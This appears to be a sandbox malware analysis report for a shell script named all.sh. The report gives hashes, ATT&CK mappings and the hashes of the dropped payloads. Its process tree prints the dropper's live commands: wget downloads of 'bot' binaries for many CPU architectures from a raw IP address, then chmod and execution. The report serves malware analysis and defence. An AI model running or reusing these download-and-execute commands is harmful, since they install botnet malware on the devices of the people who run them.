289a65cd34035c522e456140bca2c5fdf6ad0d1afabc446dcda7fa528dd97b09

Analysis

max time kernel
29s
max time network
33s
platform
debian-9_mips
resource
debian9-mipsbe-20260127-en
resource tags

arch:mipsimage:debian9-mipsbe-20260127-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
29/04/2026, 06:38

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
all.sh
Size 3KB
Sample260429-hebb5sc16j
SHA256 289a65cd34035c522e456140bca2c5fdf6ad0d1afabc446dcda7fa528dd97b09
MD5 72cce5f54f04dc9a49d1c977a5c69d01
SHA1 aab324c7901cba601be0dc78df21b6d03b052caa
SHA512 884fb73eb41fa207fd0c5a6e836b4114abf43edbb7cd69922b97b4d6e03ce835d337d0dea3999f80e94ea03166dd9b1f66f2e05813ee84bcd596d9f1e728c89c
TLSH
T1677194DC012133B7ED29AB1F7B54CB25298481D22E90CFBD6D49DE244B847A73B4B6C0
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 14 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
768	chmod
769	chmod
770	chmod
774	chmod
775	chmod
780	chmod
760	chmod
759	chmod
767	chmod
771	chmod
772	chmod
773	chmod
758	chmod
766	chmod

Executes dropped EXE 14 IoCs

ioc	pid	Process
/tmp/bot	763	all.sh
/tmp/bot	764	all.sh
/tmp/bot	765	all.sh
/tmp/bot	776	all.sh
/tmp/bot	777	all.sh
/tmp/bot	779	all.sh
/tmp/bot	781	all.sh
/tmp/bot	787	all.sh
/tmp/bot	789	all.sh
/tmp/bot	793	all.sh
/tmp/bot	795	all.sh
/tmp/bot	796	all.sh
/tmp/bot	802	all.sh
/tmp/bot	804	all.sh

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
728	wget

Writes file to tmp directory 14 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	wget

/tmp/all.sh
/tmp/all.sh
1⤵
- Executes dropped EXE
PID:712
- /usr/bin/wget
  wget -q http://87.121.79.160/bins/KKveTTgaAAsecNNaaaa.x86_64 -O bot
  2⤵
  - Writes file to tmp directory
  PID:727
- /usr/bin/wget
  wget -q http://87.121.79.160/bins/KKveTTgaAAsecNNaaaa.mpsl -O bot
  2⤵
  - Writes file to tmp directory
  PID:730
- /usr/bin/wget
  wget -q http://87.121.79.160/bins/KKveTTgaAAsecNNaaaa.x86 -O bot
  2⤵
  - Writes file to tmp directory
  PID:725
- /usr/bin/wget
  wget -q http://87.121.79.160/bins/KKveTTgaAAsecNNaaaa.i686 -O bot
  2⤵
  - Writes file to tmp directory
  PID:724
- /usr/bin/wget
  wget -q http://87.121.79.160/bins/KKveTTgaAAsecNNaaaa.mips -O bot
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:728
- /usr/bin/wget
  wget -q http://87.121.79.160/bins/KKveTTgaAAsecNNaaaa.arm -O bot
  2⤵
  - Writes file to tmp directory
  PID:731
- /usr/bin/wget
  wget -q http://87.121.79.160/bins/KKveTTgaAAsecNNaaaa.arm5 -O bot
  2⤵
  - Writes file to tmp directory
  PID:734
- /usr/bin/wget
  wget -q http://87.121.79.160/bins/KKveTTgaAAsecNNaaaa.arm6 -O bot
  2⤵
  - Writes file to tmp directory
  PID:736
- /usr/bin/wget
  wget -q http://87.121.79.160/bins/KKveTTgaAAsecNNaaaa.arm7 -O bot
  2⤵
  - Writes file to tmp directory
  PID:738
- /usr/bin/wget
  wget -q http://87.121.79.160/bins/KKveTTgaAAsecNNaaaa.ppc -O bot
  2⤵
  - Writes file to tmp directory
  PID:740
- /usr/bin/wget
  wget -q http://87.121.79.160/bins/KKveTTgaAAsecNNaaaa.spc -O bot
  2⤵
  - Writes file to tmp directory
  PID:742
- /usr/bin/wget
  wget -q http://87.121.79.160/bins/KKveTTgaAAsecNNaaaa.m68k -O bot
  2⤵
  - Writes file to tmp directory
  PID:743
- /usr/bin/wget
  wget -q http://87.121.79.160/bins/KKveTTgaAAsecNNaaaa.sh4 -O bot
  2⤵
  - Writes file to tmp directory
  PID:744
- /usr/bin/wget
  wget -q http://87.121.79.160/bins/KKveTTgaAAsecNNaaaa.arc -O bot
  2⤵
  - Writes file to tmp directory
  PID:745
- /bin/chmod
  chmod +x bot
  2⤵
  - File and Directory Permissions Modification
  PID:758
- /bin/chmod
  chmod +x bot
  2⤵
  - File and Directory Permissions Modification
  PID:760
- /bin/chmod
  chmod +x bot
  2⤵
  - File and Directory Permissions Modification
  PID:759
- /tmp/bot
  ./bot
  2⤵
  PID:763
- /tmp/bot
  ./bot
  2⤵
  PID:764
- /tmp/bot
  ./bot
  2⤵
  PID:765
- /bin/chmod
  chmod +x bot
  2⤵
  - File and Directory Permissions Modification
  PID:766
- /bin/chmod
  chmod +x bot
  2⤵
  - File and Directory Permissions Modification
  PID:767
- /bin/chmod
  chmod +x bot
  2⤵
  - File and Directory Permissions Modification
  PID:768
- /bin/chmod
  chmod +x bot
  2⤵
  - File and Directory Permissions Modification
  PID:769
- /bin/chmod
  chmod +x bot
  2⤵
  - File and Directory Permissions Modification
  PID:770
- /bin/chmod
  chmod +x bot
  2⤵
  - File and Directory Permissions Modification
  PID:771
- /bin/chmod
  chmod +x bot
  2⤵
  - File and Directory Permissions Modification
  PID:772
- /bin/chmod
  chmod +x bot
  2⤵
  - File and Directory Permissions Modification
  PID:773
- /bin/chmod
  chmod +x bot
  2⤵
  - File and Directory Permissions Modification
  PID:774
- /bin/chmod
  chmod +x bot
  2⤵
  - File and Directory Permissions Modification
  PID:775
- /bin/chmod
  chmod +x bot
  2⤵
  - File and Directory Permissions Modification
  PID:780
- /tmp/bot
  ./bot
  2⤵
  PID:779
- /tmp/bot
  ./bot
  2⤵
  PID:781
- /tmp/bot
  ./bot
  2⤵
  PID:776
- /tmp/bot
  ./bot
  2⤵
  PID:777
- /tmp/bot
  ./bot
  2⤵
  PID:789
- /tmp/bot
  ./bot
  2⤵
  PID:787
- /tmp/bot
  ./bot
  2⤵
  PID:793
- /tmp/bot
  ./bot
  2⤵
  PID:795
- /tmp/bot
  ./bot
  2⤵
  PID:796
- /tmp/bot
  ./bot
  2⤵
  PID:802
- /tmp/bot
  ./bot
  2⤵
  PID:804

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

bot

Path /tmp/bot
Size 164KB
SHA256 8e6838dc467a0ab1b168dffcad2cfcd60e5a2d0b4c57afd3fd36e4608348c2f0
MD5 7dc1c663847ecc56f11554430cc9afa5
SHA1 4d4cf243545cf46ca2ee608442dea3b37aa9ee8a
SHA512 2a70116241d14a6f7323b664e4fcee74ad8d50a7b9e7f47c13c2ba47e48710b73375b8636c1eb8debb9c72c05f5b659933bb8c5fc94d9ebeca402554cd2e9c80
SSDEEP 3072:zMlE9P2BgqhGj0YYs7kVrm2zHSiWPiR+mMIFVLqogu/GrKTdGzh:glE9PAgayPYs7Arm5PmKQdGzh
TLSH
T1E2F3BF19EF336E66D192E87D0633D3512C877AA610E0420E8F659E6FBF1412117AF6F8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

bot

Path /tmp/bot
Size 168KB
SHA256 670a2103417cbc96a66d2f9dba94976223c53d13bdd7aa730f15dd020d007e42
MD5 ef4107032e2eed0089ed5218abf9ab23
SHA1 32a3a0c134aa93a565c59d56f0db57c10e153076
SHA512 d5e009747d72b9eb542b7d91630e65155535eeebc6bc1b4d07b5a6880cf1c99324270af7c971f3f36eda9c13198de2e099fdea85a6f0a4db0e44ab1d08b4ab63
SSDEEP 3072:zMlE9P2BgqhGj0YYs7kVrm2zHSiWPiR+mMIFVLqogu/GrKTdamKol:glE9PAgayPYs7Arm5PmKQdVK2
TLSH
T1EAF3BF19EE336E66D192E87C0723D3512C8776A611E0420F8F619E7B7F24522176F6F8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

bot

Path /tmp/bot
Size 168KB
SHA256 cd15b0080eb91afd8e58832b6b38f639a6c322df9f581a5262868dd102f1d132
MD5 5daad4e0a2b9a04cce66c50877fd550e
SHA1 072a6b2500ca053411a7bb1d80c28a87090125f5
SHA512 d7ccecf9991d6edc37ef74a82092af41562f4e69f2de8e8cf3fda572abe522e0847a693d12e61032365615d0551b2b33a805c5670278c4a48fa2049531f0672b
SSDEEP 3072:zMlE9P2BgqhGj0YYs7kVrm2zHSiWPiR+mMIFVLqogu/GrKTdamKz2mc:glE9PAgayPYs7Arm5PmKQdVK0
TLSH
T1E7F3BF19EF336D66D1A2E87D0633D3512C8776A610E0420F8F619EAF7F1452217AF6B8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

bot

Path /tmp/bot
Size 578KB
SHA256 1e9fae70f4243461382bc956a0c04abea646b17745a046f65dae39c1e93d3f69
MD5 f6c6e4132d180345cc6aa237a2833cc4
SHA1 4c5899e6bf158163a0c2b8adb2f3f491eb85eb80
SHA512 67e2b12de2f6f0f08c192314ffaaa4909f77cfd9ec23af9fc7de71949ee25db128eb035442b6d115bd618ef2d61172ce2b9065e2e7807e4aebbafd710393f5ec
SSDEEP 12288:b9PAgakYm5ezdVosNhj9Z9lDQD58p1EpC1d3XK7w3:VANmcvo6naW3XK74
TLSH
T10BC4CF13F7225F41C163D23801B7C2A06B6BA65613E2434AB769E9393D5563B0F2F7E8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

bot

Path /tmp/bot
Size 904KB
SHA256 93c5a3a6366bf1f3f15c213d12e30000c474c2a9415456c19c4bd43e9c017107
MD5 43e006cc27f972772942fc0e3f7898bb
SHA1 3a7fd8f92c5a01e31102e57049361eb4d6594907
SHA512 40904e7ab081b9058ba2e8b9c9b48b87a02a20853f4d9c26294d248286f7e2834c535ff24d26a8227ad4ef1dcc6490b25e20132bad305876b7210bc8144eba74
SSDEEP 12288:b9PAgakYm5ezdVosNhj9Z9lDQD58p1EpC1d3XK7wupsERwEaEGmyLy5YXhqgi5k:VANmcvo6naW3XK7l+XuOh
TLSH
T12F15AE4BF3626E52C12389300197C364976AB69103D3434BBB84E6383D5667E4F7BBE6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads